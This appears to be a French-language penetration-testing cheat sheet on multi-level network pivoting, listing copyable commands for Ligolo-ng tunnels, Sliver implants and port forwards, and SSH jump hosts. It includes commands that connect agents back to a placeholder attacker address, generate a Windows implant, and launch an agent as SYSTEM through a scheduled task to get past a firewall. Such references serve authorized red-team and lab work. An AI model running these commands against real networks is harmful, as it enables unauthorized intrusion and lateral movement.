Pivoting

Multi-Level Pivoting

Chaîner plusieurs pivots avec Ligolo-ng, Sliver et SSH pour atteindre des réseaux profonds.

Multi-pivot Ligolo-ng

Copy command
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up

Description: Créer l'interface tun ligolo sur l'attaquant : prérequis pour les tunnels suivants.

Copy command
./proxy -selfcert -laddr 0.0.0.0:11601

Description: Démarrer le proxy ligolo-ng : attendre les connexions des agents sur le port 11601.

Copy command
./agent -connect $ATTACKER_IP:11601 -ignore-cert

Description: Déployer l'agent sur le pivot 1 : établit le tunnel vers le proxy.

Copy command
session && start && listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601

Description: Ajouter un listener sur le pivot 1 : le pivot 2 se connectera via le pivot 1.

Copy command
sudo ip route add $DEEP_SUBNET dev ligolo2

Description: Router le sous-réseau profond via la deuxième interface ligolo : accès multi-couche.

Multi-pivot Sliver

Copy command
mtls --lport 8888

Description: Listener mTLS sur le serveur Sliver pour recevoir le premier implant.

Copy command
portfwd add --remote $PIVOT1_IP:8888

Description: Depuis l'implant pivot 1 : forworder le port 8888 vers notre serveur pour le pivot 2.

Copy command
generate --mtls $PIVOT1_IP:8888 --os windows --save /tmp/implant2.exe

Description: Générer un implant qui se connecte via le pivot 1 : trafic chiffré bout-en-bout.

Copy command
socks5 start --host 127.0.0.1 --port 1080

Description: Proxy SOCKS5 via l'implant sélectionné : accès au réseau derrière le pivot.

SSH Dynamic Forwarding

Copy command
ssh -D 1080 -N -f $USER@$PIVOT1

Description: Dynamic port forwarding SSH : proxy SOCKS sur 1080 via le premier pivot SSH.

Copy command
ssh -o ProxyCommand='ssh -W %h:%p $USER@$PIVOT1' $USER@$PIVOT2

Description: SSH via ProxyCommand : atteindre un pivot 2 accessible uniquement depuis le pivot 1.

Copy command
ssh -J $USER@$PIVOT1 $USER@$PIVOT2

Description: Jump host SSH (-J) : syntaxe simplifiée pour rebondir via un host intermédiaire.

Filtrage par IP source (pare-feu inter-VLAN)

Copy command
# scan via tunnel routé (SOCKS/route msf) sur un subnet cible -> tout 'filtered'

Description: Symptôme : un scan via un pivot routé/relayé (SOCKS msf, tunnel ligolo sourcé par un autre hôte) ne trouve rien alors qu'un pare-feu type pfSense sépare les segments. Hypothèse à tester : le firewall autorise uniquement le trafic dont l'IP source réelle est un hôte précis (ex: le DC lui-même), pas n'importe quel trafic relayé apparaissant depuis ce segment.

Copy command
# valider : ping/scan émis DEPUIS l'hôte autorisé lui-même (ex: via meterpreter/evil-winrm) plutôt que via le pivot

Description: Test-Connection ou un scan TCP par socket lancé directement depuis l'hôte cible du filtrage confirme l'hypothèse s'il répond alors que le même scan via un autre pivot échoue systématiquement, même sur le même /24.

Copy command
schtasks /create /tn lgtask /tr "C:\Windows\Temp\agent.exe -connect $ATTACKER_IP:11601 -ignore-cert" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn lgtask

Description: Correctif : déployer un agent ligolo natif directement sur l'hôte source autorisé (nouvelle interface tun dédiée). Lancer via Start-Process/exec direct dans une session WinRM tue le process à la fermeture (rattaché au Job Object) : passer par une tâche planifiée le détache vraiment.

Copy command
sudo ip tuntap add user $(whoami) mode tun ligoloX && sudo ip route add $TARGET_HOST/32 dev ligoloX

Description: Plusieurs tunnels ligolo peuvent tourner en parallèle sans conflit (une interface dédiée par pivot). Utiliser des routes /32 ciblées quand seuls quelques hôtes du /24 sont concernés, pour ne pas entrer en collision avec une route /24 déjà présente sur une autre interface.